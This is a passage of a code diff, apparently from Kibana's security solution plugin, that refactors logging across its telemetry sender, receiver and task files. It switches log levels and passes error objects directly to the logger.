export class AsyncTelemetryEventsSender implements IAsyncTelemetryEventsSender { telemetryUsageCounter?: IUsageCounter, analytics?: AnalyticsServiceSetup ): void { - this.logger.l(`Setting up ${AsyncTelemetryEventsSender.name}`); + this.logger.debug('Setting up service'); this.ensureStatus(ServiceStatus.CREATED); @@ -86,7 +86,7 @@ export class AsyncTelemetryEventsSender implements IAsyncTelemetryEventsSender { } public start(telemetryStart?: TelemetryPluginStart): void { - this.logger.l(`Starting ${AsyncTelemetryEventsSender.name}`); + this.logger.debug('Starting service'); this.ensureStatus(ServiceStatus.CONFIGURED); @@ -132,13 +132,11 @@ export class AsyncTelemetryEventsSender implements IAsyncTelemetryEventsSender { ); } }, - error: (err) => { - this.logger.warn('Unexpected error sending events to channel', { - error: JSON.stringify(err), - } as LogMeta); + error: (error) => { + this.logger.warn('Unexpected error sending events to channel', { error }); }, complete: () => { - this.logger.l('Shutting down'); + this.logger.debug('Shutting down'); this.finished$.next(); }, }); @@ -148,7 +146,7 @@ export class AsyncTelemetryEventsSender implements IAsyncTelemetryEventsSender { } public async stop(): Promise { - this.logger.l(`Stopping ${AsyncTelemetryEventsSender.name}`); + this.logger.debug('Stopping service'); this.ensureStatus(ServiceStatus.CONFIGURED, ServiceStatus.STARTED); @@ -231,9 +229,7 @@ export class AsyncTelemetryEventsSender implements IAsyncTelemetryEventsSender { if (inflightEventsCounter < this.getConfigFor(channel).inflightEventsThreshold) { return rx.of(event); } - this.logger.l( - `>> Dropping event ${event} (channel: ${channel}, inflightEventsCounter: ${inflightEventsCounter})` - ); + this.logger.debug('Dropping event', { event, channel, inflightEventsCounter } as LogMeta); this.senderUtils?.incrementCounter(TelemetryCounter.DOCS_DROPPED, 1, channel); return rx.EMPTY; @@ -370,23 +366,21 @@ export class AsyncTelemetryEventsSender implements IAsyncTelemetryEventsSender { if (r.status < 400) { return { events: events.length, channel }; } else { - this.logger.l('Unexpected response', { + this.logger.warn('Unexpected response', { status: r.status, } as LogMeta); throw newFailure(`Got ${r.status}`, channel, events.length); } }) - .catch((err) => { + .catch((error) => { this.senderUtils?.incrementCounter( TelemetryCounter.RUNTIME_ERROR, events.length, channel ); - this.logger.warn('Runtime error', { - error: err.message, - } as LogMeta); - throw newFailure(`Error posting events: ${err}`, channel, events.length); + this.logger.warn('Runtime error', { error }); + throw newFailure(`Error posting events: ${error}`, channel, events.length); }); } catch (err: unknown) { if (isFailure(err)) { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/receiver.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/receiver.ts index d6d1590d0e9b0..983410c454ca0 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/receiver.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/receiver.ts @@ -576,7 +576,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { } public async *fetchDiagnosticAlertsBatch(executeFrom: string, executeTo: string) { - this.logger.l('Searching diagnostic alerts', { + this.logger.debug('Searching diagnostic alerts', { from: executeFrom, to: executeTo, } as LogMeta); @@ -620,7 +620,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { fetchMore = false; } - this.logger.l('Diagnostic alerts to return', { numOfHits } as LogMeta); + this.logger.debug('Diagnostic alerts to return', { numOfHits } as LogMeta); fetchMore = numOfHits > 0 && numOfHits < telemetryConfiguration.telemetry_max_buffer_size; } catch (e) { this.logger.warn('Error fetching alerts', { error_message: e.message } as LogMeta); @@ -866,7 +866,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { executeFrom: string, executeTo: string ) { - this.logger.l('Searching prebuilt rule alerts from', { + this.logger.debug('Searching prebuilt rule alerts from', { executeFrom, executeTo, } as LogMeta); @@ -1004,7 +1004,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { pitId = response?.pit_id; } - this.logger.l('Prebuilt rule alerts to return', { alerts: alerts.length } as LogMeta); + this.logger.debug('Prebuilt rule alerts to return', { alerts: alerts.length } as LogMeta); yield alerts; } @@ -1146,7 +1146,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { } as LogMeta); } - this.logger.l('Timeline alerts to return', { alerts: alertsToReturn.length }); + this.logger.debug('Timeline alerts to return', { alerts: alertsToReturn.length } as LogMeta); return alertsToReturn || []; } @@ -1419,7 +1419,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { public async getIndices(): Promise { const es = this.esClient(); - this.logger.l('Fetching indices'); + this.logger.debug('Fetching indices'); const request: IndicesGetRequest = { index: '*', @@ -1455,7 +1455,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { public async getDataStreams(): Promise { const es = this.esClient(); - this.logger.l('Fetching datstreams'); + this.logger.debug('Fetching datstreams'); const request: IndicesGetDataStreamRequest = { name: '*', @@ -1497,11 +1497,11 @@ export class TelemetryReceiver implements ITelemetryReceiver { const es = this.esClient(); const safeChunkSize = Math.min(chunkSize, 3000); - this.logger.l('Fetching indices stats'); + this.logger.debug('Fetching indices stats'); const groupedIndices = chunkStringsByMaxLength(indices, safeChunkSize); - this.logger.l('Splitted indices into groups', { + this.logger.debug('Splitted indices into groups', { groups: groupedIndices.length, indices: indices.length, } as LogMeta); @@ -1565,7 +1565,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { const groupedIndices = chunkStringsByMaxLength(indices, safeChunkSize); - this.logger.l('Splitted ilms into groups', { + this.logger.debug('Splitted ilms into groups', { groups: groupedIndices.length, indices: indices.length, } as LogMeta); @@ -1600,7 +1600,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { public async getIndexTemplatesStats(): Promise { const es = this.esClient(); - this.logger.l('Fetching datstreams'); + this.logger.debug('Fetching datstreams'); const request: IndicesGetIndexTemplateRequest = { name: '*', @@ -1661,13 +1661,13 @@ export class TelemetryReceiver implements ITelemetryReceiver { const groupedIlms = chunkStringsByMaxLength(ilms, safeChunkSize); - this.logger.l('Splitted ilms into groups', { + this.logger.debug('Splitted ilms into groups', { groups: groupedIlms.length, ilms: ilms.length, } as LogMeta); for (const group of groupedIlms) { - this.logger.l('Fetching ilm policies'); + this.logger.debug('Fetching ilm policies'); const request: IlmGetLifecycleRequest = { name: group.join(','), filter_path: [ @@ -1707,7 +1707,7 @@ export class TelemetryReceiver implements ITelemetryReceiver { public async getIngestPipelinesStats(timeout: Duration): Promise { const es = this.esClient(); - this.logger.l('Fetching ingest pipelines stats'); + this.logger.debug('Fetching ingest pipelines stats'); const request: NodesStatsRequest = { metric: 'ingest', diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.test.ts index c3ef4c7fbc92a..f443ed2e47b4e 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.test.ts @@ -10,7 +10,7 @@ import type { ExperimentalFeatures } from '../../../common'; import { TelemetryEventsSender } from './sender'; import { loggingSystemMock } from '@kbn/core/server/mocks'; import { usageCountersServiceMock } from '@kbn/usage-collection-plugin/server/usage_counters/usage_counters_service.mock'; -import { Observable } from 'rxjs'; +import { of } from 'rxjs'; import { URL } from 'url'; describe('TelemetryEventsSender', () => { @@ -485,7 +485,7 @@ describe('TelemetryEventsSender', () => { const sender = new TelemetryEventsSender(logger, {} as ExperimentalFeatures); sender['telemetryStart'] = { getIsOptedIn: jest.fn(async () => true), - isOptedIn$: new Observable(), + isOptedIn$: of(true), }; sender['telemetrySetup'] = { getTelemetryUrl: jest.fn(async () => new URL('https://telemetry.elastic.co')), @@ -519,7 +519,7 @@ describe('TelemetryEventsSender', () => { sender['sendEvents'] = jest.fn(); const telemetryStart = { getIsOptedIn: jest.fn(async () => false), - isOptedIn$: new Observable(), + isOptedIn$: of(false), }; sender['telemetryStart'] = telemetryStart; @@ -536,7 +536,7 @@ describe('TelemetryEventsSender', () => { sender['sendEvents'] = jest.fn(); const telemetryStart = { getIsOptedIn: jest.fn(async () => true), - isOptedIn$: new Observable(), + isOptedIn$: of(true), }; sender['telemetryStart'] = telemetryStart; sender['isTelemetryServicesReachable'] = jest.fn(async () => false); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.ts index 74a19afec617e..ccecc1c28c279 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/sender.ts @@ -167,11 +167,11 @@ export class TelemetryEventsSender implements ITelemetryEventsSender { this.telemetryStart = telemetryStart; this.receiver = receiver; if (taskManager && this.telemetryTasks) { - this.logger.l('Starting security telemetry tasks'); + this.logger.debug('Starting security telemetry tasks'); this.telemetryTasks.forEach((task) => task.start(taskManager)); } - this.logger.l('Starting local task'); + this.logger.debug('Starting local task'); timer(this.initialCheckDelayMs, this.checkIntervalMs) .pipe( takeUntil(this.stop$), @@ -191,20 +191,20 @@ export class TelemetryEventsSender implements ITelemetryEventsSender { events: events.length, } as LogMeta); if (events.length === 0) { - this.logger.l('No events to queue'); + this.logger.debug('No events to queue'); return; } if (qlength >= this.maxQueueSize) { // we're full already - this.logger.l('Queue length is greater than max queue size'); + this.logger.debug('Queue length is greater than max queue size'); return; } if (events.length > this.maxQueueSize - qlength) { - this.logger.l('Events exceed remaining queue size', { + this.logger.info('Events exceed remaining queue size', { max_queue_size: this.maxQueueSize, queue_length: qlength, - }); + } as LogMeta); this.telemetryUsageCounter?.incrementCounter({ counterName: createUsageCounterLabel(usageLabelPrefix.concat(['queue_stats'])), counterType: 'docs_lost', @@ -283,10 +283,8 @@ export class TelemetryEventsSender implements ITelemetryEventsSender { } return false; - } catch (e) { - this.logger.warn('Error pinging telemetry services', { - error: e.message, - } as LogMeta); + } catch (error) { + this.logger.warn('Error pinging telemetry services', { error }); return false; } @@ -306,7 +304,7 @@ export class TelemetryEventsSender implements ITelemetryEventsSender { this.isOptedIn = await this.isTelemetryOptedIn(); if (!this.isOptedIn) { - this.logger.l('Telemetry is not opted-in.'); + this.logger.debug('Telemetry is not opted-in.'); this.queue = []; this.isSending = false; return; @@ -314,7 +312,7 @@ export class TelemetryEventsSender implements ITelemetryEventsSender { this.isElasticTelemetryReachable = await this.isTelemetryServicesReachable(); if (!this.isElasticTelemetryReachable) { - this.logger.l('Telemetry Services are not reachable.'); + this.logger.debug('Telemetry Services are not reachable.'); this.queue = []; this.isSending = false; return; @@ -382,9 +380,9 @@ export class TelemetryEventsSender implements ITelemetryEventsSender { this.receiver?.fetchLicenseInfo(), ]); - this.logger.l('Telemetry URL', { + this.logger.debug('Telemetry URL', { url: telemetryUrl, - }); + } as LogMeta); await this.sendEvents( toSend, @@ -496,10 +494,10 @@ export class TelemetryEventsSender implements ITelemetryEventsSender { counterType: 'docs_sent', incrementBy: events.length, }); - this.logger.l('Events sent!. Response', { status: resp.status }); - } catch (err) { - this.logger.l('Error sending events', { error: JSON.stringify(err) }); - const errorStatus = err?.response?.status; + this.logger.debug('Events sent!. Response', { status: resp.status } as LogMeta); + } catch (error) { + this.logger.warn('Error sending events', { error }); + const errorStatus = error?.response?.status; if (errorStatus !== undefined && errorStatus !== null) { this.telemetryUsageCounter?.incrementCounter({ counterName: createUsageCounterLabel(usageLabelPrefix.concat(['payloads', channel])), diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task.ts index 55c83243adcbc..285e9f1220678 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task.ts @@ -135,10 +135,8 @@ export class SecurityTelemetryTask { state: emptyState, params: { version: this.config.version }, }); - } catch (e) { - this.logger.error('Error scheduling task', { - error: e.message, - } as LogMeta); + } catch (error) { + this.logger.error('Error scheduling task', { error }); } }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task_metrics.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task_metrics.ts index 966eb0888f45e..efa3bb0bc203a 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task_metrics.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/task_metrics.ts @@ -4,7 +4,7 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import { newTelemetryLogger } from './helpers'; import { type TelemetryLogger } from './telemetry_logger'; import type { TaskMetric, ITaskMetricsService, Trace } from './task_metrics.types'; @@ -29,11 +29,11 @@ export class TaskMetricsService implements ITaskMetricsService { public async end(trace: Trace, error?: Error): Promise { const event = this.createTaskMetric(trace, error); - this.logger.l('Task completed', { + this.logger.debug('Task completed', { task_name: event.name, time_executed_in_ms: event.time_executed_in_ms, error_message: event.error_message, - }); + } as LogMeta); if (telemetryConfiguration.use_async_sender) { this.sender.sendAsync(TelemetryChannel.TASK_METRICS, [event]); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/configuration.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/configuration.ts index 1def2d22022ec..2fdcf7e7ca273 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/configuration.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/configuration.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import type { ITelemetryEventsSender } from '../sender'; import { TelemetryChannel, type TelemetryConfiguration } from '../types'; import type { ITelemetryReceiver } from '../receiver'; @@ -36,7 +36,7 @@ export function createTelemetryConfigurationTaskConfig() { const log = newTelemetryLogger(logger.get('configuration'), mdc); const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { const artifactName = 'telemetry-buffer-and-batch-sizes-v1'; @@ -50,9 +50,9 @@ export function createTelemetryConfigurationTaskConfig() { const configArtifact = manifest.data as unknown as TelemetryConfiguration; - log.l('Got telemetry configuration artifact', { + log.debug('Got telemetry configuration artifact', { artifact: configArtifact ?? '', - }); + } as LogMeta); telemetryConfiguration.max_detection_alerts_batch = configArtifact.max_detection_alerts_batch; @@ -69,7 +69,7 @@ export function createTelemetryConfigurationTaskConfig() { } if (configArtifact.sender_channels) { - log.l('Updating sender channels configuration'); + log.info('Updating sender channels configuration'); telemetryConfiguration.sender_channels = configArtifact.sender_channels; const channelsDict = Object.values(TelemetryChannel).reduce( (acc, channel) => acc.set(channel as string, channel), @@ -78,7 +78,7 @@ export function createTelemetryConfigurationTaskConfig() { Object.entries(configArtifact.sender_channels).forEach(([channelName, config]) => { if (channelName === 'default') { - log.l('Updating default configuration'); + log.debug('Updating default configuration'); sender.updateDefaultQueueConfig({ bufferTimeSpanMillis: config.buffer_time_span_millis, inflightEventsThreshold: config.inflight_events_threshold, @@ -87,9 +87,11 @@ export function createTelemetryConfigurationTaskConfig() { } else { const channel = channelsDict.get(channelName); if (!channel) { - log.l('Ignoring unknown channel', { channel: channelName }); + log.info('Ignoring unknown channel', { channel: channelName } as LogMeta); } else { - log.l('Updating configuration for channel', { channel: channelName }); + log.debug('Updating configuration for channel', { + channel: channelName, + } as LogMeta); sender.updateQueueConfig(channel, { bufferTimeSpanMillis: config.buffer_time_span_millis, inflightEventsThreshold: config.inflight_events_threshold, @@ -101,31 +103,31 @@ export function createTelemetryConfigurationTaskConfig() { } if (configArtifact.pagination_config) { - log.l('Updating pagination configuration'); + log.debug('Updating pagination configuration'); telemetryConfiguration.pagination_config = configArtifact.pagination_config; _receiver.setMaxPageSizeBytes(configArtifact.pagination_config.max_page_size_bytes); _receiver.setNumDocsToSample(configArtifact.pagination_config.num_docs_to_sample); } if (configArtifact.indices_metadata_config) { - log.l('Updating indices metadata configuration'); + log.debug('Updating indices metadata configuration'); telemetryConfiguration.indices_metadata_config = configArtifact.indices_metadata_config; } if (configArtifact.ingest_pipelines_stats_config) { - log.l('Updating ingest pipelines stats configuration'); + log.debug('Updating ingest pipelines stats configuration'); telemetryConfiguration.ingest_pipelines_stats_config = configArtifact.ingest_pipelines_stats_config; } await taskMetricsService.end(trace); - log.l('Updated TelemetryConfiguration', { configuration: telemetryConfiguration }); + log.debug('Updated TelemetryConfiguration'); return 0; - } catch (err) { - log.l('Failed to set telemetry configuration', { error: err.message }); + } catch (error) { + log.warn('Failed to set telemetry configuration', { error }); telemetryConfiguration.resetAllToDefault(); - await taskMetricsService.end(trace, err); + await taskMetricsService.end(trace, error); return 0; } }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/custom_response_actions_rule.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/custom_response_actions_rule.ts index 946f3b8813238..91931b7369e64 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/custom_response_actions_rule.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/custom_response_actions_rule.ts @@ -6,7 +6,7 @@ */ import { cloneDeep } from 'lodash'; -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import { batchTelemetryRecords, responseActionsCustomRuleTelemetryData, @@ -55,7 +55,7 @@ export function createTelemetryCustomResponseActionRulesTaskConfig(maxTelemetryB ]; const trace = taskMetricsService.start(taskType); - log.l('Running response actions rules telemetry task'); + log.debug('Running response actions rules telemetry task'); try { const [clusterInfoPromise, licenseInfoPromise] = await Promise.allSettled([ @@ -108,9 +108,9 @@ export function createTelemetryCustomResponseActionRulesTaskConfig(maxTelemetryB licenseInfo ); - log.l('Custom response actions rules data', { + log.debug('Custom response actions rules data', { data: JSON.stringify(responseActionsRulesTelemetryData), - }); + } as LogMeta); usageCollector?.incrementCounter({ counterName: createUsageCounterLabel(usageLabelEndpointPrefix), @@ -127,7 +127,7 @@ export function createTelemetryCustomResponseActionRulesTaskConfig(maxTelemetryB const documents = cloneDeep(Object.values(responseActionsRulesTelemetryData)); if (telemetryConfiguration.use_async_sender) { - await sender.sendAsync(TelemetryChannel.LISTS, documents); + sender.sendAsync(TelemetryChannel.LISTS, documents); } else { const batches = batchTelemetryRecords(documents, maxTelemetryBatch); for (const batch of batches) { @@ -141,9 +141,9 @@ export function createTelemetryCustomResponseActionRulesTaskConfig(maxTelemetryB responseActionsRulesTelemetryData.response_actions_rules ).reduce((acc, count) => acc + count, 0); - log.l('Response actions rules telemetry task executed', { + log.debug('Response actions rules telemetry task executed', { totalCount, - }); + } as LogMeta); return totalCount; } catch (err) { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/detection_rule.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/detection_rule.ts index 3dbd774e29372..9571286e68ae0 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/detection_rule.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/detection_rule.ts @@ -6,7 +6,7 @@ */ import { cloneDeep } from 'lodash'; -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import { LIST_DETECTION_RULE_EXCEPTION, TELEMETRY_CHANNEL_LISTS } from '../constants'; import { batchTelemetryRecords, @@ -44,7 +44,7 @@ export function createTelemetryDetectionRuleListsTaskConfig(maxTelemetryBatch: n const usageLabelPrefix: string[] = ['security_telemetry', 'detection-rules']; const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { const [clusterInfoPromise, licenseInfoPromise] = await Promise.allSettled([ @@ -102,9 +102,9 @@ export function createTelemetryDetectionRuleListsTaskConfig(maxTelemetryBatch: n licenseInfo, LIST_DETECTION_RULE_EXCEPTION ); - log.l('Detection rule exception json length', { + log.debug('Detection rule exception json length', { length: detectionRuleExceptionsJson.length, - }); + } as LogMeta); usageCollector?.incrementCounter({ counterName: createUsageCounterLabel(usageLabelPrefix), @@ -121,7 +121,7 @@ export function createTelemetryDetectionRuleListsTaskConfig(maxTelemetryBatch: n } await taskMetricsService.end(trace); - log.l('Task executed', { length: detectionRuleExceptionsJson.length }); + log.debug('Task executed', { length: detectionRuleExceptionsJson.length } as LogMeta); return detectionRuleExceptionsJson.length; } catch (err) { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/diagnostic.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/diagnostic.ts index a6825a7517b4f..8b2aec5eed6ad 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/diagnostic.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/diagnostic.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import { newTelemetryLogger, getPreviousDiagTaskTimestamp } from '../helpers'; import type { ITelemetryEventsSender } from '../sender'; import { TelemetryChannel, type TelemetryEvent } from '../types'; @@ -36,7 +36,7 @@ export function createTelemetryDiagnosticsTaskConfig() { const log = newTelemetryLogger(logger.get('diagnostic'), mdc); const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { if (!taskExecutionPeriod.last) { @@ -61,9 +61,9 @@ export function createTelemetryDiagnosticsTaskConfig() { } alertCount += alerts.length; - log.l('Sending diagnostic alerts', { + log.debug('Sending diagnostic alerts', { alerts_count: alerts.length, - }); + } as LogMeta); sender.sendAsync(TelemetryChannel.ENDPOINT_ALERTS, processedAlerts); } diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/endpoint.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/endpoint.ts index 7b830ade4a02c..2c0b57ad802e1 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/endpoint.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/endpoint.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import { FLEET_ENDPOINT_PACKAGE } from '@kbn/fleet-plugin/common'; import type { ITelemetryEventsSender } from '../sender'; import { @@ -64,7 +64,7 @@ export function createTelemetryEndpointTaskConfig(maxTelemetryBatch: number) { const log = newTelemetryLogger(logger.get('endpoint'), mdc); const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { const processor = new EndpointMetadataProcessor(log, receiver); @@ -80,10 +80,10 @@ export function createTelemetryEndpointTaskConfig(maxTelemetryBatch: number) { incrementBy: documents.length, }); - log.l('Sending endpoint telemetry', { + log.debug('Sending endpoint telemetry', { num_docs: documents.length, async_sender: telemetryConfiguration.use_async_sender, - }); + } as LogMeta); // STAGE 6 - Send the documents if (telemetryConfiguration.use_async_sender) { @@ -97,11 +97,9 @@ export function createTelemetryEndpointTaskConfig(maxTelemetryBatch: number) { await taskMetricsService.end(trace); return documents.length; - } catch (err) { - log.l(`Error running endpoint alert telemetry task`, { - error: JSON.stringify(err), - }); - await taskMetricsService.end(trace, err); + } catch (error) { + log.warn(`Error running endpoint alert telemetry task`, { error }); + await taskMetricsService.end(trace, error); return 0; } }, @@ -127,7 +125,7 @@ class EndpointMetadataProcessor { const endpointMetrics = await this.receiver.fetchEndpointMetricsAbstract(last, current); // If no metrics exist, early (and successfull) exit if (endpointMetrics.totalEndpoints === 0) { - this.logger.l('no endpoint metrics to report'); + this.logger.debug('no endpoint metrics to report'); return []; } @@ -143,10 +141,8 @@ class EndpointMetadataProcessor { policies.delete(DefaultEndpointPolicyIdToIgnore); return policies; }) - .catch((e) => { - this.logger.l('Error fetching fleet agents, using an empty value', { - error: JSON.stringify(e), - }); + .catch((error) => { + this.logger.warn('Error fetching fleet agents, using an empty value', { error }); return new Map(); }); const endpointPolicyById = await this.endpointPolicies(policyIdByFleetAgentId.values()); @@ -158,14 +154,12 @@ class EndpointMetadataProcessor { .fetchEndpointPolicyResponses(last, current) .then((response) => { if (response.size === 0) { - this.logger.l('no endpoint policy responses to report'); + this.logger.info('no endpoint policy responses to report'); } return response; }) - .catch((e) => { - this.logger.l('Error fetching policy responses, using an empty value', { - error: JSON.stringify(e), - }); + .catch((error) => { + this.logger.warn('Error fetching policy responses, using an empty value', { error }); return new Map(); }); @@ -176,14 +170,12 @@ class EndpointMetadataProcessor { .fetchEndpointMetadata(last, current) .then((response) => { if (response.size === 0) { - this.logger.l('no endpoint metadata to report'); + this.logger.debug('no endpoint metadata to report'); } return response; }) - .catch((e) => { - this.logger.l('Error fetching endpoint metadata, using an empty value', { - error: JSON.stringify(e), - }); + .catch((error) => { + this.logger.warn('Error fetching endpoint metadata, using an empty value', { error }); return new Map(); }); @@ -212,12 +204,12 @@ class EndpointMetadataProcessor { ); telemetryPayloads.push(...payloads); } - } catch (e) { + } catch (error) { // something happened in the middle of the pagination, log the error // and return what we collect so far instead of aborting the // whole execution - this.logger.l('Error fetching endpoint metrics by id', { - error: JSON.stringify(e), + this.logger.warn('Error fetching endpoint metrics by id', { + error, }); } @@ -244,7 +236,7 @@ class EndpointMetadataProcessor { for (const policyId of policies) { if (!endpointPolicyCache.has(policyId)) { const agentPolicy = await this.receiver.fetchPolicyConfigs(policyId).catch((e) => { - this.logger.l(`error fetching policy config due to ${e?.message}`); + this.logger.warn(`error fetching policy config due to ${e?.message}`); return null; }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/filterlists.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/filterlists.ts index f31275456ade4..b470033bbbfa5 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/filterlists.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/filterlists.ts @@ -5,7 +5,7 @@ * 2.0. */ -import type { Logger } from '@kbn/core/server'; +import type { LogMeta, Logger } from '@kbn/core/server'; import type { ITelemetryEventsSender } from '../sender'; import type { TelemetryFilterListArtifact } from '../types'; import type { ITelemetryReceiver } from '../receiver'; @@ -36,7 +36,7 @@ export function createTelemetryFilterListArtifactTaskConfig() { const log = newTelemetryLogger(logger.get('filterlists'), mdc); const trace = taskMetricsService.start(taskType); - log.l('Running telemetry task'); + log.debug('Running telemetry task'); try { const artifactName = 'telemetry-filterlists-v1'; @@ -48,16 +48,16 @@ export function createTelemetryFilterListArtifactTaskConfig() { } const artifact = manifest.data as unknown as TelemetryFilterListArtifact; - log.l('New filterlist artifact', { artifact }); + log.debug('New filterlist artifact', { artifact } as LogMeta); filterList.endpointAlerts = artifact.endpoint_alerts; filterList.exceptionLists = artifact.exception_lists; filterList.prebuiltRulesAlerts = artifact.prebuilt_rules_alerts; await taskMetricsService.end(trace); return 0; - } catch (err) { - log.l('Failed to set telemetry filterlist artifact', { error: err.message }); + } catch (error) { + log.warn('Failed to set telemetry filterlist artifact', { error }); filterList.resetAllToDefault(); - await taskMetricsService.end(trace, err); + await taskMetricsService.end(trace, error); return 0; } }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/indices.metadata.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/indices.metadata.ts index 7663f7b9570de..2ee71f38b7d62 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/indices.metadata.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/telemetry/tasks/indices.metadata.ts @@ -181,8 +181,8 @@ export function createTelemetryIndicesMetadataTaskConfig() { incrementCounter(TelemetryCounter.DOCS_SENT, 'indices-stats', count); return count; }) - .catch((err) => { - log.warn(`Error getting indices stats`, { error: err.message } as LogMeta); + .catch((error) => { + log.warn(`Error getting indices stats`, { error }); incrementCounter(TelemetryCounter.RUNTIME_ERROR, 'indices-stats', 1); return 0; }); @@ -193,8 +193,8 @@ export function createTelemetryIndicesMetadataTaskConfig() { incrementCounter(TelemetryCounter.DOCS_SENT, 'ilm-stats', names.size); return names; }) - .catch((err) => { - log.warn(`Error getting ILM stats`, { error: err.message } as LogMeta); + .catch((error) => { + log.warn(`Error getting ILM stats`, { error }); incrementCounter(TelemetryCounter.RUNTIME_ERROR, 'ilm-stats', 1); return new Set(); }); @@ -205,8 +205,8 @@ export function createTelemetryIndicesMetadataTaskConfig() { incrementCounter(TelemetryCounter.DOCS_SENT, 'ilm-policies', count); return count; }) - .catch((err) => { - log.warn(`Error getting ILM policies`, { error: err.message } as LogMeta); + .catch((error) => { + log.warn(`Error getting ILM policies`, { error }); incrementCounter(TelemetryCounter.RUNTIME_ERROR, 'ilm-policies', 1); return 0; }); @@ -219,8 +219,8 @@ export function createTelemetryIndicesMetadataTaskConfig() { incrementCounter(TelemetryCounter.DOCS_SENT, 'index-templates', count); return count; }) - .catch((err) => { - log.warn(`Error getting index templates`, { error: err.message } as LogMeta); + .catch((error) => { + log.warn(`Error getting index templates`, { error }); incrementCounter(TelemetryCounter.RUNTIME_ERROR, 'index-templates', 1); return 0; }); @@ -237,11 +237,9 @@ export function createTelemetryIndicesMetadataTaskConfig() { await taskMetricsService.end(trace); return indicesCount; - } catch (err) { - log.warn(`Error running indices metadata task`, { - error: err.message, - } as LogMeta); - await taskMetricsService.end(trace, err); + } catch (error) { + log.warn(`Error running indices metadata task`, { error }); + await taskMetricsService.end(trace, error); return 0; } }, diff --git 